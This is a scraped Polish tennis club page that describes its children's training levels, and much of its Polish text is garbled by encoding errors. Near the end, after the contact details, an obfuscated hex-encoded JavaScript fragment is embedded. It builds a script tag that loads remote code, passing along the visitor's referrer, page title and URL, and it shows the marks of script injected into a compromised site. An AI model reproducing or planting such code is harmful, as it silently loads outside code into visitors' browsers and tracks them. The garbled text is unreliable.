Menu

olimpijski-club-tennis-and-sports

Szkolenia dla dzieci i mAi??odzieA?y

Nasi trenerzy prowadzAi?? szkolenia dla dzieci i mAi??odzieA?y na kaA?dym poziomie umiejAi??tnoAi??ci – od pierwszych krokA?w na korcie, gdzie poprzez ruch i zabawAi?? szybko zaczyna siAi?? Ai??wietna przygoda z rakietAi??, aA? do tenisa zawodniczego i zawodowego, gdzie pozostajAi?? najwytrwalsi i najbardziej ambitni zawodnicy.

Nasze szkolenie oparte jest na programie Tennis10, ktA?ry obecnie wykorzystujAi?? wszystkie wiodAi??ce federacje tenisowe na Ai??wiecie. Dla potrzeb naszego klubu zostaAi??o ono odpowiednio usystematyzowane przez gAi??A?wnego trenera MichaAi??a Kolarczyka i stanowi podstawAi?? szkolenia wszystkich grup.

12356564

 

Poziom niebieski – poczAi??tek treningA?w 4-6 lat. PiAi??ki z gAi??bki, kort pomniejszony. RozwA?j wszechstronnej sprawnoAi??ci fizycznej poprzez gry i zabawy. Nauka podstawowych umiejAi??tnoAi??ci taktycznych (utrzymanie piAi??ki w korcie) i technicznych tzw. czucie piAi??ki i jej trafianie przed sobAi??.

Poziom czerwony ai??i?? do 7-8 lat. PiAi??ki 75% wolniejsze od piAi??ki A?A?Ai??tej, kort pomniejszony. Dalszy rozwA?j umiejAi??tnoAi??ci taktycznych oraz technicznych (prawidAi??owe chwyty i poczAi??tki przyszAi??ych peAi??nych uderzeAi??).

Poziom pomaraAi??czowy – do 9 lat. PiAi??ki 50% wolniejsze od piAi??ki A?A?Ai??tej, kort peAi??nowymiarowy. MAi??odzi tenisiAi??ci stosujAi?? rA?A?norodne sposoby rozegrania akcji we wszystkich sytuacjach meczowych, a ich gra przypomina dorosAi??y tenis.

Poziom zielony ai??i?? do 10 lat. PiAi??ki 25% wolniejsze od piAi??ki A?A?Ai??tej, kort peAi??nowymiarowy. Utrwalenie prawidAi??owej techniki, praca nad bardziej zaawansowanymi uderzeniami oraz wszechstronnym stylem gry. Zawodnicy potrafiAi?? stosowaAi?? podstawowe rozwiAi??zania taktyczne podczas meczu.

 

 

Zapisy tel: +48 660 57 00 57 lub e-mail: biuro@lechiatennisclub.plAi?? lub formularz internetowy

uot;\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}


Gdzie nas szukać arrow-more Jak się skontaktować?